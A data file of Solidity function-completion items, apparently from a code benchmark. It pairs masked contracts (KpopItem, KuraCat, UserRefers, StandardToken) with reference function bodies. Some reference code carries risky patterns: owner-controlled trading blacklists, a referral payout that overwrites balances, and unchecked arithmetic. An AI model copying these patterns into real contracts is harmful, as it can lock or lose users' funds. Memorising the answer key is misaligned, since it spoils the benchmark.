newPrice; // Pay the prev owner of the item if (prevOwner != address(this)) { prevOwner.transfer(payment); } // Pay dividend to the current owner of the celeb that's connected to the item uint celebId = celebOf(_itemId); KpopCeleb KPOP_CELEB = KpopCeleb(KPOP_CELEB_CONTRACT_ADDRESS); address celebOwner = KPOP_CELEB.ownerOf(celebId); if (celebOwner != address(this) && !isNullAddress(celebOwner)) { celebOwner.transfer(dividend); } ItemSold(_itemId, currentPrice, newPrice, items[_itemId].name, prevOwner, msg.sender); msg.sender.transfer(leftover); } function balanceOf(address _owner) public view returns (uint balance) { return userToNumItems[_owner]; } function ownerOf(uint _itemId) public view returns (address addr) { return itemIdToOwner[_itemId]; } function celebOf(uint _itemId) public view returns (uint celebId) { return itemIdToCelebId[_itemId]; } function totalSupply() public view returns (uint total) { return items.length; } function transfer(address _to, uint _itemId) public { _transfer(msg.sender, _to, _itemId); } /** START FUNCTIONS FOR AUTHORS **/ function createItem(string _name, uint _price, uint _celebId, uint[6] _traitValues) public onlyManufacturer { require(_price >= MIN_STARTING_PRICE); uint itemId = items.push(Item(_name)) - 1; itemIdToOwner[itemId] = author; itemIdToPrice[itemId] = _price; itemIdToCelebId[itemId] = _celebId; itemIdToTraitValues[itemId] = _traitValues; // TODO: fetch celeb traits later userToNumItems[author]++; } function withdraw(uint _amount, address _to) public onlyAuthors { require(!isNullAddress(_to)); require(_amount <= this.balance); _to.transfer(_amount); } function withdrawAll() public onlyAuthors { require(author != 0x0); require(coauthor != 0x0); uint halfBalance = uint(SafeMath.div(this.balance, 2)); author.transfer(halfBalance); coauthor.transfer(halfBalance); } function setCoAuthor(address _coauthor) public onlyAuthor { require(!isNullAddress(_coauthor)); coauthor = _coauthor; } function setManufacturer(address _manufacturer) public onlyAuthors { require(!isNullAddress(_manufacturer)); manufacturer = _manufacturer; } /** END FUNCTIONS FOR AUTHORS **/ function getItem(uint _itemId) public view returns ( string name, uint price, address owner, uint[6] traitValues, uint celebId ) { name = items[_itemId].name; price = itemIdToPrice[_itemId]; owner = itemIdToOwner[_itemId]; traitValues = itemIdToTraitValues[_itemId]; celebId = celebOf(_itemId); } /** START FUNCTIONS RELATED TO EXTERNAL CONTRACT INTERACTIONS **/ function approve(address _to, uint _itemId) public { require(msg.sender == ownerOf(_itemId)); itemIdToApprovedRecipient[_itemId] = _to; Approval(msg.sender, _to, _itemId); } function transferFrom(address _from, address _to, uint _itemId) public { require(ownerOf(_itemId) == _from); require(isApproved(_to, _itemId)); require(!isNullAddress(_to)); _transfer(_from, _to, _itemId); } function takeOwnership(uint _itemId) public { require(!isNullAddress(msg.sender)); require(isApproved(msg.sender, _itemId)); address currentOwner = itemIdToOwner[_itemId]; _transfer(currentOwner, msg.sender, _itemId); } function transferToWinner(address _winner, address _loser, uint _itemId) public onlyArena {<FILL_FUNCTION_BODY> } /** END FUNCTIONS RELATED TO EXTERNAL CONTRACT INTERACTIONS **/ function implementsERC721() public pure returns (bool) { return true; } /** MODIFIERS **/ modifier onlyAuthor() { require(msg.sender == author); _; } modifier onlyAuthors() { require(msg.sender == author || msg.sender == coauthor); _; } modifier onlyManufacturer() { require(msg.sender == author || msg.sender == coauthor || msg.sender == manufacturer); _; } modifier onlyArena() { require(msg.sender == KPOP_ARENA_CONTRACT_ADDRESS); _; } /** FUNCTIONS THAT WONT BE USED FREQUENTLY **/ function setMinStartingPrice(uint _price) public onlyAuthors { MIN_STARTING_PRICE = _price; } function setGrowthBump(uint _bump) public onlyAuthors { GROWTH_BUMP = _bump; } function setDividend(uint _dividend) public onlyAuthors { DIVIDEND = _dividend; } function setPriceIncreaseScale(uint _scale) public onlyAuthors { PRICE_INCREASE_SCALE = _scale; } function setKpopCelebContractAddress(address _address) public onlyAuthors { KPOP_CELEB_CONTRACT_ADDRESS = _address; } function setKpopArenaContractAddress(address _address) public onlyAuthors { KPOP_ARENA_CONTRACT_ADDRESS = _address; } /** PRIVATE FUNCTIONS **/ function isApproved(address _to, uint _itemId) private view returns (bool) { return itemIdToApprovedRecipient[_itemId] == _to; } function isNullAddress(address _addr) private pure returns (bool) { return _addr == 0x0; } }
contract KpopItem is ERC721 { address public author; address public coauthor; address public manufacturer; string public constant NAME = "KpopItem"; string public constant SYMBOL = "KpopItem"; uint public GROWTH_BUMP = 0.4 ether; uint public MIN_STARTING_PRICE = 0.001 ether; uint public PRICE_INCREASE_SCALE = 120; // 120% of previous price uint public DIVIDEND = 3; address public KPOP_CELEB_CONTRACT_ADDRESS = 0x0; address public KPOP_ARENA_CONTRACT_ADDRESS = 0x0; struct Item { string name; } Item[] public items; mapping(uint => address) public itemIdToOwner; mapping(uint => uint) public itemIdToPrice; mapping(address => uint) public userToNumItems; mapping(uint => address) public itemIdToApprovedRecipient; mapping(uint => uint[6]) public itemIdToTraitValues; mapping(uint => uint) public itemIdToCelebId; event Transfer(address indexed from, address indexed to, uint itemId); event Approval(address indexed owner, address indexed approved, uint itemId); event ItemSold(uint itemId, uint oldPrice, uint newPrice, string itemName, address prevOwner, address newOwner); event TransferToWinner(uint itemId, uint oldPrice, uint newPrice, string itemName, address prevOwner, address newOwner); function KpopItem() public { author = msg.sender; coauthor = msg.sender; } function _transfer(address _from, address _to, uint _itemId) private { require(ownerOf(_itemId) == _from); require(!isNullAddress(_to)); require(balanceOf(_from) > 0); uint prevBalances = balanceOf(_from) + balanceOf(_to); itemIdToOwner[_itemId] = _to; userToNumItems[_from]--; userToNumItems[_to]++; delete itemIdToApprovedRecipient[_itemId]; Transfer(_from, _to, _itemId); assert(balanceOf(_from) + balanceOf(_to) == prevBalances); } function buy(uint _itemId) payable public { address prevOwner = ownerOf(_itemId); uint currentPrice = itemIdToPrice[_itemId]; require(prevOwner != msg.sender); require(!isNullAddress(msg.sender)); require(msg.value >= currentPrice); // Set dividend uint dividend = uint(SafeMath.div(SafeMath.mul(currentPrice, DIVIDEND), 100)); // Take a cut uint payment = uint(SafeMath.div(SafeMath.mul(currentPrice, 90), 100)); uint leftover = SafeMath.sub(msg.value, currentPrice); uint newPrice; _transfer(prevOwner, msg.sender, _itemId); if (currentPrice < GROWTH_BUMP) { newPrice = SafeMath.mul(currentPrice, 2); } else { newPrice = SafeMath.div(SafeMath.mul(currentPrice, PRICE_INCREASE_SCALE), 100); } itemIdToPrice[_itemId] = newPrice; // Pay the prev owner of the item if (prevOwner != address(this)) { prevOwner.transfer(payment); } // Pay dividend to the current owner of the celeb that's connected to the item uint celebId = celebOf(_itemId); KpopCeleb KPOP_CELEB = KpopCeleb(KPOP_CELEB_CONTRACT_ADDRESS); address celebOwner = KPOP_CELEB.ownerOf(celebId); if (celebOwner != address(this) && !isNullAddress(celebOwner)) { celebOwner.transfer(dividend); } ItemSold(_itemId, currentPrice, newPrice, items[_itemId].name, prevOwner, msg.sender); msg.sender.transfer(leftover); } function balanceOf(address _owner) public view returns (uint balance) { return userToNumItems[_owner]; } function ownerOf(uint _itemId) public view returns (address addr) { return itemIdToOwner[_itemId]; } function celebOf(uint _itemId) public view returns (uint celebId) { return itemIdToCelebId[_itemId]; } function totalSupply() public view returns (uint total) { return items.length; } function transfer(address _to, uint _itemId) public { _transfer(msg.sender, _to, _itemId); } /** START FUNCTIONS FOR AUTHORS **/ function createItem(string _name, uint _price, uint _celebId, uint[6] _traitValues) public onlyManufacturer { require(_price >= MIN_STARTING_PRICE); uint itemId = items.push(Item(_name)) - 1; itemIdToOwner[itemId] = author; itemIdToPrice[itemId] = _price; itemIdToCelebId[itemId] = _celebId; itemIdToTraitValues[itemId] = _traitValues; // TODO: fetch celeb traits later userToNumItems[author]++; } function withdraw(uint _amount, address _to) public onlyAuthors { require(!isNullAddress(_to)); require(_amount <= this.balance); _to.transfer(_amount); } function withdrawAll() public onlyAuthors { require(author != 0x0); require(coauthor != 0x0); uint halfBalance = uint(SafeMath.div(this.balance, 2)); author.transfer(halfBalance); coauthor.transfer(halfBalance); } function setCoAuthor(address _coauthor) public onlyAuthor { require(!isNullAddress(_coauthor)); coauthor = _coauthor; } function setManufacturer(address _manufacturer) public onlyAuthors { require(!isNullAddress(_manufacturer)); manufacturer = _manufacturer; } /** END FUNCTIONS FOR AUTHORS **/ function getItem(uint _itemId) public view returns ( string name, uint price, address owner, uint[6] traitValues, uint celebId ) { name = items[_itemId].name; price = itemIdToPrice[_itemId]; owner = itemIdToOwner[_itemId]; traitValues = itemIdToTraitValues[_itemId]; celebId = celebOf(_itemId); } /** START FUNCTIONS RELATED TO EXTERNAL CONTRACT INTERACTIONS **/ function approve(address _to, uint _itemId) public { require(msg.sender == ownerOf(_itemId)); itemIdToApprovedRecipient[_itemId] = _to; Approval(msg.sender, _to, _itemId); } function transferFrom(address _from, address _to, uint _itemId) public { require(ownerOf(_itemId) == _from); require(isApproved(_to, _itemId)); require(!isNullAddress(_to)); _transfer(_from, _to, _itemId); } function takeOwnership(uint _itemId) public { require(!isNullAddress(msg.sender)); require(isApproved(msg.sender, _itemId)); address currentOwner = itemIdToOwner[_itemId]; _transfer(currentOwner, msg.sender, _itemId); } <FILL_FUNCTION> /** END FUNCTIONS RELATED TO EXTERNAL CONTRACT INTERACTIONS **/ function implementsERC721() public pure returns (bool) { return true; } /** MODIFIERS **/ modifier onlyAuthor() { require(msg.sender == author); _; } modifier onlyAuthors() { require(msg.sender == author || msg.sender == coauthor); _; } modifier onlyManufacturer() { require(msg.sender == author || msg.sender == coauthor || msg.sender == manufacturer); _; } modifier onlyArena() { require(msg.sender == KPOP_ARENA_CONTRACT_ADDRESS); _; } /** FUNCTIONS THAT WONT BE USED FREQUENTLY **/ function setMinStartingPrice(uint _price) public onlyAuthors { MIN_STARTING_PRICE = _price; } function setGrowthBump(uint _bump) public onlyAuthors { GROWTH_BUMP = _bump; } function setDividend(uint _dividend) public onlyAuthors { DIVIDEND = _dividend; } function setPriceIncreaseScale(uint _scale) public onlyAuthors { PRICE_INCREASE_SCALE = _scale; } function setKpopCelebContractAddress(address _address) public onlyAuthors { KPOP_CELEB_CONTRACT_ADDRESS = _address; } function setKpopArenaContractAddress(address _address) public onlyAuthors { KPOP_ARENA_CONTRACT_ADDRESS = _address; } /** PRIVATE FUNCTIONS **/ function isApproved(address _to, uint _itemId) private view returns (bool) { return itemIdToApprovedRecipient[_itemId] == _to; } function isNullAddress(address _addr) private pure returns (bool) { return _addr == 0x0; } }
require(!isNullAddress(_winner)); require(!isNullAddress(_loser)); require(ownerOf(_itemId) == _loser); // Reset item price uint oldPrice = itemIdToPrice[_itemId]; uint newPrice = MIN_STARTING_PRICE; itemIdToPrice[_itemId] = newPrice; _transfer(_loser, _winner, _itemId); TransferToWinner(_itemId, oldPrice, newPrice, items[_itemId].name, _loser, _winner);
function transferToWinner(address _winner, address _loser, uint _itemId) public onlyArena
function transferToWinner(address _winner, address _loser, uint _itemId) public onlyArena
13813
KuraCat
_transfer
contract KuraCat is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "KuraCat"; string private constant _symbol = "KURA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xC93b3A329cF8D52ac19DF3389D5Facb11eEB6761); _feeAddrWallet2 = payable(0xC93b3A329cF8D52ac19DF3389D5Facb11eEB6761); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private {<FILL_FUNCTION_BODY> } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5e7 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e9 * 10**9; } function blacklistBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract KuraCat is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "KuraCat"; string private constant _symbol = "KURA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xC93b3A329cF8D52ac19DF3389D5Facb11eEB6761); _feeAddrWallet2 = payable(0xC93b3A329cF8D52ac19DF3389D5Facb11eEB6761); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } <FILL_FUNCTION> function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5e7 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e9 * 10**9; } function blacklistBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 9; _feeAddr2 = 0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount);
function _transfer(address from, address to, uint256 amount) private
function _transfer(address from, address to, uint256 amount) private
18891
UserRefers
rewards2Super
contract UserRefers is ManagerUpgradeable,Refers{ using SafeMath for uint256; using SafeERC20 for ERC20; mapping(address => address) public relations; mapping(address => address[]) public superiors; mapping(address => address) public callers; mapping(address => uint256) public rewards; address public topAddr; address public token; constructor(address _token,address []memory _mans) public ManagerUpgradeable(_mans){ relations[address(0x0)] = address(0x0); topAddr = msg.sender; token = _token; } function addCaller(address _newCaller) onlyManager public { callers[_newCaller] = _newCaller; } function removeCaller(address rmCaller) onlyManager public { callers[rmCaller] = address(0x0); } function buildSuperoir(address ref,uint256 maxLayer) public { if(relations[msg.sender]==address(0x0)) { relations[msg.sender] = ref; superiors[msg.sender].push(ref); address[] memory supers = superiors[ref]; if(supers.length>0){ superiors[msg.sender].push(supers[0]); } uint256 cc = 2; for(uint256 i=1;i<supers.length && cc < maxLayer;i++){ superiors[msg.sender].push(supers[i]); cc++; } } } function withdrawRewards() public{ require(rewards[msg.sender]>0); TransferHelper.safeTransfer(token,msg.sender,rewards[msg.sender]); rewards[msg.sender] = 0; } // 0.03%分配给邀请人(其中0.01%分配给直接推荐人30%,0.005%分配给间接推荐人,15%,0.015%均分给第3代至第12代) function rewards2Super(address user,uint256 totalReward) external returns (bool) {<FILL_FUNCTION_BODY> } }
contract UserRefers is ManagerUpgradeable,Refers{ using SafeMath for uint256; using SafeERC20 for ERC20; mapping(address => address) public relations; mapping(address => address[]) public superiors; mapping(address => address) public callers; mapping(address => uint256) public rewards; address public topAddr; address public token; constructor(address _token,address []memory _mans) public ManagerUpgradeable(_mans){ relations[address(0x0)] = address(0x0); topAddr = msg.sender; token = _token; } function addCaller(address _newCaller) onlyManager public { callers[_newCaller] = _newCaller; } function removeCaller(address rmCaller) onlyManager public { callers[rmCaller] = address(0x0); } function buildSuperoir(address ref,uint256 maxLayer) public { if(relations[msg.sender]==address(0x0)) { relations[msg.sender] = ref; superiors[msg.sender].push(ref); address[] memory supers = superiors[ref]; if(supers.length>0){ superiors[msg.sender].push(supers[0]); } uint256 cc = 2; for(uint256 i=1;i<supers.length && cc < maxLayer;i++){ superiors[msg.sender].push(supers[i]); cc++; } } } function withdrawRewards() public{ require(rewards[msg.sender]>0); TransferHelper.safeTransfer(token,msg.sender,rewards[msg.sender]); rewards[msg.sender] = 0; } <FILL_FUNCTION> }
require(callers[msg.sender]==msg.sender,"caller is empty") ; // rewards[user] = rewards[user].add(totalReward); address[] memory supers = superiors[user]; uint256 leftReward = totalReward; uint256 bonus0; uint256 bonus1; uint256 bonus2; if(supers.length>0){ uint256 bonus = totalReward.mul(30).div(100); rewards[supers[0]] = bonus; // TransferHelper.safeTransfer(token,supers[0],bonus); leftReward = leftReward.sub(bonus); bonus0=bonus; } if(supers.length>1){ uint256 bonus = totalReward.mul(15).div(100); rewards[supers[1]] = bonus; // TransferHelper.safeTransfer(token,supers[1],bonus); leftReward = leftReward.sub(bonus); bonus1=bonus; } if(supers.length>2){ uint256 preReward = leftReward.div(supers.length.sub(2)); for(uint256 i=2;i<supers.length ;i++){ // TransferHelper.safeTransfer(token,supers[i],preReward); rewards[supers[i]] = preReward; leftReward = leftReward.sub(preReward); } bonus2=preReward; } if(leftReward>0){ // TransferHelper.safeTransfer(token,topAddr,leftReward); rewards[topAddr] = leftReward; } return true;
function rewards2Super(address user,uint256 totalReward) external returns (bool)
// 0.03%分配给邀请人(其中0.01%分配给直接推荐人30%,0.005%分配给间接推荐人,15%,0.015%均分给第3代至第12代) function rewards2Super(address user,uint256 totalReward) external returns (bool)
47784
StandardToken
allowance
contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) view public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) view public returns (uint256 remaining) {<FILL_FUNCTION_BODY> } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; }
